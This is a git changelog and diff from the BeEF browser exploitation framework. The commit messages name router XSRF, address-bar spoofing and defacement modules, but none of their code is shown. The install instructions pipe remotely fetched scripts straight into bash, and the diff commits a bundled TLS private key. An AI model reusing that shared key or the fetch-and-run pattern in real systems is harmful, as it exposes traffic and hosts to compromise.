Brendan Coles
c92ef02a7a Merge pull request #679 from 0x7674/master
'Clippy' Module
2012-05-19 00:43:29 -07:00
root
e4ea5dfff9 Closes #644 but needs to be tested on other browsers 2012-05-17 18:09:00 +02:00
vt
b8ba48af25 Updated module.rb with a more sane respawn time 2012-05-18 00:12:43 +12:00
vt
6ea46e72da Updated command.js to support IE6 properly 2012-05-18 00:12:03 +12:00
Christian Frichot
a6a7536e73 Issue #678 - Custom Hook Point Extension initial commit 2012-05-17 18:52:35 +08:00
root
6279658888 integrated remarks from bcoles and antisnatchor 2012-05-17 04:57:38 +02:00
bcoles
74a3eef225 Moved mobilesafari_address_spoofing module to
modules/browser/hooked_domain directory
2012-05-17 08:53:01 +09:30
root
d354e66a3d Added module for GS108t managed switch 2012-05-17 00:47:33 +02:00
Christian Frichot
1a85b6bc92 Issue #650 - forgot the license on the js file - my bad 2012-05-16 22:41:51 +08:00
Christian Frichot
e8ea3a3cd7 Merge branch 'master' of github.com:beefproject/beef 2012-05-16 22:36:33 +08:00
Christian Frichot
8f1aae97c8 Fixes Issue #650 - iOS Safari Address Bar Spoofing Command Module 2012-05-16 22:36:21 +08:00
Ben Waugh
f0b1d6d76f Updated CDE Generator
UpdatedCan be run with: rake cde
2012-05-16 07:54:09 +10:00
bcoles
594e745694 Added favicon support to deface_web_page and site_redirect_iframe modules
Fixes issue #491
2012-05-15 17:47:05 +09:30
Ben Waugh
b9c9df93e1 Updated Installer Script
Improved Debian/Ubuntu installer
Added Disclaimer Message/Opt Out
2012-05-15 18:27:43 +10:00
bcoles
1335f57a46 Browser plugins are now passed through unique() 2012-05-14 20:29:18 +09:30
Christian Frichot
aa671f6e64 Merge branch 'master' of github.com:beefproject/beef 2012-05-14 18:13:41 +08:00
Christian Frichot
3c7686e196 Nested command modules are now also sorted, and sub-folders include children count. Fuck yeah recursion111. Issue #550 2012-05-14 18:12:45 +08:00
bcoles
78b88ee09f Changed status/port status info for cross-domain request history 2012-05-14 18:57:44 +09:30
bcoles
2f7d98c7a7 Fixed bug in core/main/client/net.js
ALL requests (modules, requester, etc) were failing in Firefox since
commit 1fd66bce1e
2012-05-14 17:45:03 +09:30
Mike Haworth
1fd66bce1e Issue #666 Proxy now uses forge_request, allowing cross domaian requests, for instances where SOP bypass is available 2012-05-13 13:08:13 +12:00
antisnatchor
6eacf97b80 Moved "hooked_browser" category inside "Browser", now as a sub-category. 2012-05-12 12:13:57 +01:00
Christian Frichot
7d7f6b13b4 Fixes Issue #550 Module categories can include sub-folders. Specify them as an array in their yaml file 2012-05-12 17:37:46 +08:00
antisnatchor
247e0e9a62 Issue 676. Now we use em-websocket for WebSocket server side. Instead of threads we use events with EventMachine. Faster and consumes less memory. 2012-05-11 15:58:59 +01:00
antisnatchor
052d25a36b Fixed another bug when parsing the BeEF hook cookie in Js. now using beef.session.get_hook_session_id(). Should be the last fix. 2012-05-11 14:22:13 +01:00
antisnatchor
96a16fa683 Fix issue 675 (added erubis parsing for Websocket config options) 2012-05-11 11:45:13 +01:00
antisnatchor
256ef0f2e8 Fix issue 673 (command module friendly name in WebSocket fork) 2012-05-11 11:12:12 +01:00
antisnatchor
fdad068ee5 Fix issue 674 (NilClass issue) 2012-05-10 13:54:40 +01:00
vt
9a5af8f7d1 Slightly less clunky js 2012-05-11 00:26:26 +12:00
antisnatchor
925e744194 Merge remote-tracking branch 'upstream/master'
Resolved conflicts:
	core/main/client/net.js
	core/main/handlers/modules/beefjs.rb
2012-05-10 10:19:22 +01:00
antisnatchor
46a19ee0b9 Updated lynksys_wrt54g_xsrf (second one) to use the new beef.dom.createIframeXsrfForm JS api 2012-05-09 14:39:18 +01:00
antisnatchor
f361e2ac78 Updated lynksys_wrt54g_xsrf to use the new beef.dom.createIframeXsrfForm JS api 2012-05-09 14:35:53 +01:00
antisnatchor
f84d34ab86 Updated dlink_dsl500t_xsrf to use the new beef.dom.createIframeXsrfForm JS api 2012-05-09 14:26:05 +01:00
antisnatchor
4faf75f1f1 Updated bt_home_hub_xsrf to use the new beef.dom.createIframeXsrfForm JS api 2012-05-09 14:20:12 +01:00
antisnatchor
ef492dd19b Merge remote-tracking branch 'origin/master' 2012-05-09 14:08:11 +01:00
antisnatchor
e426b3fb13 Added iframe XSRF form in beef.dom (Fixes issue 104) 2012-05-09 14:07:13 +01:00
vt
4123bb5f5d add clippy files 2012-05-09 23:38:21 +12:00
Ben Waugh
95cc1ac2d6 Revert "Revert "Revert "Undated Installed to include disclaimer and exit option"""
This reverts commit 70f70a339f.
2012-05-09 11:42:32 +10:00
Ben Waugh
70f70a339f Revert "Revert "Undated Installed to include disclaimer and exit option""
This reverts commit 13c75e87c9.
2012-05-09 11:42:30 +10:00
Ben Waugh
13c75e87c9 Revert "Undated Installed to include disclaimer and exit option"
This reverts commit ff0dd7e9e2.
2012-05-09 11:42:26 +10:00
Ben Waugh
ff0dd7e9e2 Undated Installed to include disclaimer and exit option 2012-05-09 11:40:43 +10:00
antisnatchor
6f293ba866 Added dynamic module loading in the configuration object 2012-05-08 16:33:10 +01:00
bcoles
a62b77cc1d Updated introduction of public port settings
These settings are experimental
2012-05-07 18:26:27 +09:30
Brendan Coles
f221f93ebb Merge pull request #652 from ebababi/master
Introduce public port setting
2012-05-07 01:09:22 -07:00
Ben Waugh
6383f8670b Install Script
Script to install prerequisites for OSX/Debian/RHEL, download latest
Beef script, install required gems and start beef
2012-05-06 11:46:28 +10:00
Wade Alcorn
e88be79134 Updated demo page 2012-05-06 06:11:44 +10:00
Wade Alcorn
821ebf0a14 Merge branch 'master' of github.com:beefproject/beef 2012-05-04 11:56:14 +10:00
Ben Waugh
e3e4a44ae7 Bug Fixes for CDE Task 2012-05-04 09:41:12 +10:00
Ben Waugh
f566a00fdf fix to cde script
removed non-ascii char
2012-05-04 08:09:58 +10:00
Ben Waugh
1cf980f06e Added CDE Task to Rakefile
Initial CDE Generator script, will clone latest CDE package, make, then
create beef cde Package
2012-05-04 07:21:57 +10:00
Wade Alcorn
c61aae0949 Merge branch 'master' of github.com:beefproject/beef 2012-05-03 18:43:57 +10:00
bcoles
99d47351b7 Patched newline issue in request() in net.js
See commit c3435ee345 for more info
2012-05-03 15:54:46 +09:30
bcoles
53c6fb5252 Fixed typo in module name/category 2012-05-03 15:32:53 +09:30
antisnatchor
72ba526cbc merged changes of net.js to fix the requester/tunneling proxy 2012-05-02 14:28:30 +03:00
antisnatchor
9e9700f34a Merge remote-tracking branch 'origin/master' 2012-05-02 14:26:08 +03:00
antisnatchor
c3435ee345 Fixed a nasty bug in net.js forgeRequest. Stripping line breaks from request domain: prevented the requester/tunneling proxy to work (always cross-domain fails) 2012-05-02 14:25:31 +03:00
antisnatchor
2c19a3a8d8 Fixed issue when hooking a browser that contains other cookies than BEEFHOOK. now "alive" send back only the BeEF session value 2012-05-02 14:01:04 +03:00
antisnatchor
9ae0929a8c Merge remote-tracking branch 'upstream/master' 2012-05-02 13:04:51 +03:00
bcoles
b78390cd39 Added Google Search module 2012-05-02 18:42:18 +09:30
Wade Alcorn
335adbdc15 Merge branch 'master' of github.com:beefproject/beef 2012-05-01 16:52:32 +10:00
bcoles
d3f8b45f21 Moved ajax_fingerprint from 'host' to 'hooked browser' category 2012-05-01 08:54:41 +09:30
Wade Alcorn
aedfe0f9a5 Merge branch 'master' of github.com:beefproject/beef 2012-05-01 05:15:34 +10:00
antisnatchor
6ff34953d9 Added Leffe beer can handler. commented for now. 2012-04-30 10:14:59 +01:00
bcoles
8b3e032ad1 Removed debug info from ajax_fingerprint module
For real this time
2012-04-30 16:04:20 +09:30
bcoles
004b3c15ce Removed debug info from ajax_fingerprint module 2012-04-30 16:02:27 +09:30
Wade Alcorn
dc269b15b1 Version updated 2012-04-30 15:10:54 +10:00
bcoles
3dadf4406b Removed Gemfile.lock 2012-04-30 14:03:34 +09:30
Brendan Coles
215ddd9cf5 Merge pull request #665 from qswain2/master
Added a module to fingerprint ajax
2012-04-29 22:03:52 -07:00
qswain2
958ddb4845 Added Ajax fingerprint module 2012-04-30 00:39:39 -04:00
Graziano Felline
97c2649e36 Corrected issues on IE browser (IE8 IE9) to check IE6 -IE7
Corrected Issues whit character encoding
2012-04-20 19:17:34 +02:00
Graziano Felline
c83e7d584e Now the Alive check is by ws Timer 5 second
Tested And work
2012-04-19 19:30:19 +02:00
antisnatchor
b41c6e8559 Catched JSON::ParserError exception when a client abruptly disconnects (i.e.: closing the browser manually, or the hooked tab) 2012-04-18 16:56:43 +01:00
antisnatchor
6f73dd6a82 Merge remote-tracking branch 'upstream/master'
Conflicts:
	config.yaml
2012-04-18 15:27:22 +01:00
antisnatchor
cecd6cb14a Slightly changed comments on websocket.rb 2012-04-18 15:19:34 +01:00
antisnatchor
43f82b0c72 Removed not needed line 2012-04-18 14:41:49 +01:00
Graziano Felline
656262c0f4 Basic response recv system implemented
todo ping-pong for alive host. thread's content is  in websocket.rb
todo setting up a separate handler for via ws answer's
2012-04-18 12:00:17 +02:00
antisnatchor
2198c69aa8 Merge remote-tracking branch 'upstream/master'. Fixed conflicts on config.yaml. 2012-04-14 20:44:17 +01:00
Graziano Felline
2755c6449c Deleted some stuff that does not work correctly in old browser (IE 8)
Better check for FF
Cleand up inside the code
2012-04-14 19:42:53 +02:00
antisnatchor
185b1be30f Fixed issue with command execution. Now commands are executed correctly via WebSocket. 2012-04-13 13:35:29 +01:00
Graziano Felline
65138db207 Commands are now sent through websocket
Trouble with eval function in websocket.js
2012-04-13 12:45:48 +02:00
Graziano Felline
23f782b8d8 Hook.js load websocket.js only if specifield in beef configuration file
if websocket is disabled all work normally
 if websocket is enabled have trouble in command.rb
2012-04-12 19:01:49 +02:00
Graziano Felline
af9b3c97b5 Added polling stop if websocket is up in updater.js
added hash for websocket in websocket.rb
added check for websocket existence in command.rb and net.js
added a POC onmessage function in websocket.js
added check for websocket support in init.js
added a POC send to send command output to server in beef.js
2012-04-11 20:52:47 +02:00
Graziano Felline
302512e172 Added FF11 support 2012-04-08 13:21:12 +02:00
Graziano Felline
85b3a59441 The connection and helo to server correctly work. 2012-04-08 12:46:57 +02:00
antisnatchor
8f7caff30f changed websocket.js structure with closures. 2012-04-07 14:19:56 +01:00
antisnatchor
296d0161c9 fixed issue with FF detectionon websockets 2012-04-07 13:48:10 +01:00
antisnatchor
b08326ebcc fixed typo in ws.receive 2012-04-07 13:41:58 +01:00
antisnatchor
552beb4ccd changed allowed origins to ALL 2012-04-07 13:40:18 +01:00
antisnatchor
faae01a9aa Changed default websocket port 2012-04-07 13:34:21 +01:00
Graziano Felline
ce8919297f Merge remote-tracking branch 'origin/master'
Conflicts:
	core/main/network_stack/websocket/websocket.rb
2012-04-07 14:21:41 +02:00
Graziano Felline
bcd0ff154f Added websocket.js in beefjs.rb 2012-04-07 14:20:47 +02:00
antisnatchor
fe588cd2a0 Merge branch 'master' of https://github.com/radoen/beef-radoen
Conflicts:
	core/main/network_stack/websocket/websocket.rb
2012-04-07 13:07:17 +01:00
Graziano Felline
e1134e2fa6 Thread for websocket 2012-04-07 14:01:37 +02:00
antisnatchor
a5504a5b11 Printing nice print_into about the websocket 2012-04-07 12:59:24 +01:00
antisnatchor
64cee24c65 Added WebSocket config options for enable, secure and port 2012-04-07 12:46:57 +01:00
antisnatchor
236c8a81b6 Fixed issue with lib loading and WebSocket server initalization 2012-04-07 12:31:37 +01:00
Graziano Felline
15ca7777bb Inserted module in bootstrap 2012-04-07 13:00:40 +02:00
Graziano Felline
d3e2e1eb30 Inserted module in bootstrap 2012-04-07 12:56:06 +02:00
Graziano Felline
736c81573e Setting up structures and server/client environment.
A lot of TODO
2012-04-06 02:21:40 +02:00
Nikolaos Anastopoulos
e4d4edba75 Public port setting affects URI scheme 2012-03-23 20:42:12 +02:00
Nikolaos Anastopoulos
3d26782125 Added public port setting to server configuration 2012-03-23 15:09:46 +02:00
asaafan
f10cf3eb5b Delete Skype XSS stub from main branch 2012-03-09 01:53:07 +02:00
asaafan
1333e48d3a Merge branch 'master' of https://github.com/beefproject/beef 2012-03-09 01:51:18 +02:00
unknown
006719768a Adding stub for Skype XSS module 2012-03-09 01:38:37 +02:00
949 changed files with 55971 additions and 11577 deletions

7
.gitignore vendored
View File

@@ -1,3 +1,8 @@
beef.db
test/msf-test
custom-config.yaml
custom-config.yaml
.DS_Store
.gitignore
.rvmrc
*.lock

2
BeEFLive.sh Normal file
View File

@@ -0,0 +1,2 @@
# Reference for old (<1.2) versions of BeEF Live
bash /opt/beef/liveCD/BeEFLive.sh

25
Gemfile
View File

@@ -1,31 +1,21 @@
# BeEF's Gemfile
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Gems only required on Windows, or with specific Windows issues
if RUBY_PLATFORM.downcase.include?("mswin") || RUBY_PLATFORM.downcase.include?("mingw")
gem "win32console"
gem "eventmachine", "1.0.0.beta.4.1"
else
gem "eventmachine", "0.12.10"
end
gem "eventmachine", "1.0.3"
gem "thin"
gem "sinatra", "1.3.2"
gem "em-websocket", "~> 0.3.6"
gem "jsmin", "~> 1.0.1"
gem "ansi"
gem "term-ansicolor", :require => "term/ansicolor"
gem "dm-core"
@@ -37,6 +27,9 @@ gem "erubis"
gem "dm-migrations"
gem "msfrpc-client"
# notifications
gem "twitter"
if ENV['BEEF_TEST']
# for running unit tests
gem "test-unit"

71
INSTALL.txt Normal file
View File

@@ -0,0 +1,71 @@
===============================================================================
Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
===============================================================================
Installation
------------
1. Prerequisites (platform independent)
2. Prerequisites (Windows)
3. Prerequisites (Linux)
4. Prerequisites (Mac OSX)
5. Install instructions
6. Run instructions
1. Prerequisites (platform independent)
BeEF requires ruby 1.9 and the "bundler" gem. Bundler can be installed by:
gem install bundler
2. Prerequisites (Windows)
Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory:
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
3. Prerequisites (Linux)
!!! This must be done PRIOR to running the bundle install command !!!
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
3.2. rvm install 1.9.2
3.3. rvm use 1.9.2
4. Prerequisites (Mac OSX)
- XCode: provides the sqlite support BeEF needs
- Ruby 1.9
To install RVM and Ruby 1.9.3 on Mac OS:
$ bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile
$ rvm install 1.9.3-p0 --with-gcc=clang
$ rvm use 1.9.3
5. Install instructions
Obtain application code either by downloading an archive from https://github.com/beefproject/beef/zipball/master or cloning the GIT repo git@github.com:beefproject/beef.git
Navigate to the ruby source directory and run:
bundle install
Bundler installs all the pre-requisite gems.
6. Run instructions
Simply run:
./beef

153
README
View File

@@ -1,79 +1,74 @@
Copyright 2012 Wade Alcorn wade@bindshell.net
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Most of the contents of this file will eventually be added to /install.rb. In the meantime tips, hints and guides for installing BeEF should be kept here.
=============================================
1. Prerequisites (platform independent)
2. Prerequisites (Windows)
3. Prerequisites (Linux)
4. Prerequisites (Mac OSX)
5. Install instructions
6. Run instructions
1. Prerequisites (platform independent)
BeEF requires ruby 1.9 and the "bundler" gem. Bundler can be installed by:
gem install bundler
2. Prerequisites (Windows)
Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory:
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
3. Prerequisites (Linux)
!!! This must be done PRIOR to running the bundle install command !!!
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
3.2. rvm install 1.9.2
3.3. rvm use 1.9.2
4. Prerequisites (Mac OSX)
- XCode: provides the sqlite support BeEF needs
- Ruby 1.9
To install RVM and Ruby 1.9.3 on Mac OS:
$ bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile
$ rvm install 1.9.3-p0 --with-gcc=clang
$ rvm use 1.9.3
5. Install instructions
Obtain application code either by downloading an archive from https://github.com/beefproject/beef/zipball/master or cloning the GIT repo git@github.com:beefproject/beef.git
Navigate to the ruby source directory and run:
bundle install
Bundler installs all the pre-requisite gems.
6. Run instructions
Simply run:
./beef
===============================================================================
Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
===============================================================================
What is BeEF?
-------------
BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.
Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
Get Involved
------------
You can get in touch with the BeEF team. Just check out the following:
Please, send us pull requests!
Web: http://beefproject.com/
Mail: beef-subscribe@bindshell.net
IRC: ircs://irc.freenode.net/beefproject
Twitter: @beefproject
Requirements
------------
* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
* [Ruby](http://rubylang.org) 1.9.2 RVM or higher
* [SQLite](http://sqlite.org) 3.x
* The following GEMS:
- bundler
- thin
- Sinatra
- ANSI
- TERM-ANSIcolor
- dm-core
- json
- data_objects
- dm-sqlite-adapter
- parseconfig
- erubis
- dm-migrations
- msfrpc-client
- eventmachine
- win32console (Windows Only)
Quick Start
-----------
__The following is for the impatient.__
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
$ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
Usage
-----
To get started, simply execute beef and follow the instrustions:
$ ./beef

74
README.mkd Normal file
View File

@@ -0,0 +1,74 @@
===============================================================================
Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
===============================================================================
What is BeEF?
-------------
__BeEF__ is short for __The Browser Exploitation Framework__. It is a penetration testing tool that focuses on the web browser.
Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
Get Involved
------------
You can get in touch with the BeEF team. Just check out the following:
__Please, send us pull requests!__
__Web:__ http://beefproject.com/
__Mail:__ beef-subscribe@bindshell.net
__IRC:__ ircs://irc.freenode.net/beefproject
__Twitter:__ @beefproject
Requirements
------------
* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
* [Ruby](http://rubylang.org) 1.9.2 RVM or higher
* [SQLite](http://sqlite.org) 3.x
* The following GEMS:
- bundler
- thin
- Sinatra
- ANSI
- TERM-ANSIcolor
- dm-core
- json
- data_objects
- dm-sqlite-adapter
- parseconfig
- erubis
- dm-migrations
- msfrpc-client
- eventmachine
- win32console (Windows Only)
Quick Start
-----------
__The following is for the impatient.__
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
$ curl https://raw.github.com/beefproject/beef/a6a7536e/install-beef | bash -s stable
Usage
-----
To get started, simply execute beef and follow the instructions:
$ ./beef

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
task :default => ["quick"]
@@ -86,10 +76,10 @@ end
@beef_process_id = nil;
task :beef_start => 'beef' do
printf "Starting BeEF (wait 10 seconds)..."
printf "Starting BeEF (wait a few seconds)..."
@beef_process_id = IO.popen("ruby ./beef -x 2> /dev/null", "w+")
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays.each do |i| # delay for 10 seconds
delays = [3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
delays.each do |i| # delay for a few seconds
printf '.'
sleep (i)
end
@@ -152,3 +142,45 @@ task :dmg do
puts "\nBeEF.dmg created\n"
end
################################
# Create CDE Package
# This will download and make the CDE Executable and
# gnereate a CDE Package in cde-package
task :cde do
puts "\nCloning and Making CDE...";
sh "git clone git://github.com/pgbovine/CDE.git";
Dir.chdir "CDE";
sh "make";
Dir.chdir "..";
puts "\nCreating CDE Package...\n";
sh "bundle install"
Rake::Task['cde_beef_start'].invoke
Rake::Task['beef_stop'].invoke
puts "\nCleaning Up...\n";
sleep (2);
sh "rm -rf CDE";
puts "\nCDE Package Created...\n";
end
################################
# CDE/BeEF environment set up
@beef_process_id = nil;
task :cde_beef_start => 'beef' do
printf "Starting CDE BeEF (wait 10 seconds)..."
@beef_process_id = IO.popen("./CDE/cde ruby beef -x 2> /dev/null", "w+")
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays.each do |i| # delay for 10 seconds
printf '.'
sleep (i)
end
puts '.'
end
################################

18
VERSION
View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
0.4.3.4-alpha
0.4.4.4.1-alpha

39
beef
View File

@@ -1,19 +1,9 @@
#!/usr/bin/env ruby
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# stop deprecation warning from being displayed
@@ -59,6 +49,15 @@ if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true
BeEF::Core::Console::Banners.print_ascii_art
end
# @note Check if port and WebSocket port need to be updated from command line parameters
unless BeEF::Core::Console::CommandLine.parse[:port].empty?
config.set('beef.http.port', BeEF::Core::Console::CommandLine.parse[:port])
end
unless BeEF::Core::Console::CommandLine.parse[:ws_port].empty?
config.set('beef.http.websocket.port', BeEF::Core::Console::CommandLine.parse[:ws_port])
end
# @note Prints BeEF welcome message
BeEF::Core::Console::Banners.print_welcome_msg
@@ -72,7 +71,7 @@ Socket.do_not_reverse_lookup = true
case config.get("beef.database.driver")
when "sqlite"
DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}")
when "mysql","postgres"
when "mysql", "postgres"
DataMapper.setup(:default,
:adapter => config.get("beef.database.driver"),
:host => config.get("beef.database.db_host"),
@@ -112,6 +111,16 @@ BeEF::Core::Console::Banners.print_network_interfaces_routes
#@note Prints the API key needed to use the RESTful API
print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}"
#@note Starts the WebSocket server
if config.get("beef.http.websocket.enable")
BeEF::Core::Websocket::Websocket.instance
print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
if config.get("beef.http.websocket.secure")
print_info "Starting WebSocketSecure server on port [#{config.get("beef.http.websocket.secure_port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
end
end
# @note Call the API method 'pre_http_start'
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
@@ -122,7 +131,7 @@ if config.get("beef.extension.console.shell.enable") == true
begin
FileUtils.mkdir_p(File.expand_path(config.get("beef.extension.console.shell.historyfolder")))
BeEF::Extension::Console::Shell.new(BeEF::Extension::Console::Shell::DefaultPrompt,
BeEF::Extension::Console::Shell::DefaultPromptChar,{'config' => config, 'http_hook_server' => http_hook_server}).run
BeEF::Extension::Console::Shell::DefaultPromptChar, {'config' => config, 'http_hook_server' => http_hook_server}).run
rescue Interrupt
end
else

19
beef_cert.pem Normal file
View File

@@ -0,0 +1,19 @@
-----BEGIN CERTIFICATE-----
MIIDDjCCAnegAwIBAgIJAKNYRH/AaB3DMA0GCSqGSIb3DQEBBQUAMIGfMQswCQYD
VQQGEwJBVTEUMBIGA1UECAwLQm92aW5lIExhbmQxDTALBgNVBAcMBEJlRUYxDTAL
BgNVBAoMBEJlRUYxDTALBgNVBAsMBEJlRUYxJzAlBgNVBAMMHkJyb3dzZXIgRXhw
bG9pdGF0aW9uIEZyYW1ld29yazEkMCIGCSqGSIb3DQEJARYVQmVFRkBkb250d3Jp
dGVtZS5CZUVGMB4XDTEyMDgwNjEzMDUzOFoXDTEzMDgwNjEzMDUzOFowgZ8xCzAJ
BgNVBAYTAkFVMRQwEgYDVQQIDAtCb3ZpbmUgTGFuZDENMAsGA1UEBwwEQmVFRjEN
MAsGA1UECgwEQmVFRjENMAsGA1UECwwEQmVFRjEnMCUGA1UEAwweQnJvd3NlciBF
eHBsb2l0YXRpb24gRnJhbWV3b3JrMSQwIgYJKoZIhvcNAQkBFhVCZUVGQGRvbnR3
cml0ZW1lLkJlRUYwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBALCxzu+rOTt2
VBM5X5KL2xpDvMJ7wT0BSVgbkEF9Pd3+h3NbB/LST0n+Mwtnk4wLzmjmNiob3EdP
0l+pKgIZYT8yHMvI3pwp0hmpE3D2bALyiQTOTjF0IhUeIYa9ZhEyeN+PgA6+Hs0Z
F/0y0El2XjkPF42Dnmp9mLTSfScv1v4xAgMBAAGjUDBOMB0GA1UdDgQWBBTaXny0
kTye7CAr0ronsg0ob63+kTAfBgNVHSMEGDAWgBTaXny0kTye7CAr0ronsg0ob63+
kTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4GBABTy5s/XRd6iBwxOgV6N
B+cTRgmgHciujbI+0p4TkOkHvQPhhcD3207ndWWwv+Mc2XeQcXNaOfYUDkeCs64N
JffqThykYOdagvCu1Gecw9BEKeijS9MAuNvtvP7fcUNUql+VeTFbxMBPGDhusafz
GkY0IBg9+j6XX4JwEXxCGt0a
-----END CERTIFICATE-----

16
beef_key.pem Normal file
View File

@@ -0,0 +1,16 @@
-----BEGIN PRIVATE KEY-----
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALCxzu+rOTt2VBM5
X5KL2xpDvMJ7wT0BSVgbkEF9Pd3+h3NbB/LST0n+Mwtnk4wLzmjmNiob3EdP0l+p
KgIZYT8yHMvI3pwp0hmpE3D2bALyiQTOTjF0IhUeIYa9ZhEyeN+PgA6+Hs0ZF/0y
0El2XjkPF42Dnmp9mLTSfScv1v4xAgMBAAECgYAKpDrNTmedACxiGAN8hPXGKCw3
HlLuBKTRLJ/Mgel29DxeIy5gXnAuCaQzXKKTPabJxIugj5r9pH4MCtkf1T15Aib6
4MFdx4UegllMUo7eUiuCtSmK9s0wEtJjShujBl4qQ10ZtWUh4Vd/clS88IjM/iPI
5Ocoph5PUgFt/tX7DQJBAOkGptgdri39bRiSGaR/Si6YYpmMUFoQt+s2id8yH9QS
26o8cHZKCahSiWLNi4rSzEJIOpXnP3n+Dcq2JttDWGcCQQDCHWgWSpdnX8uqp/Qo
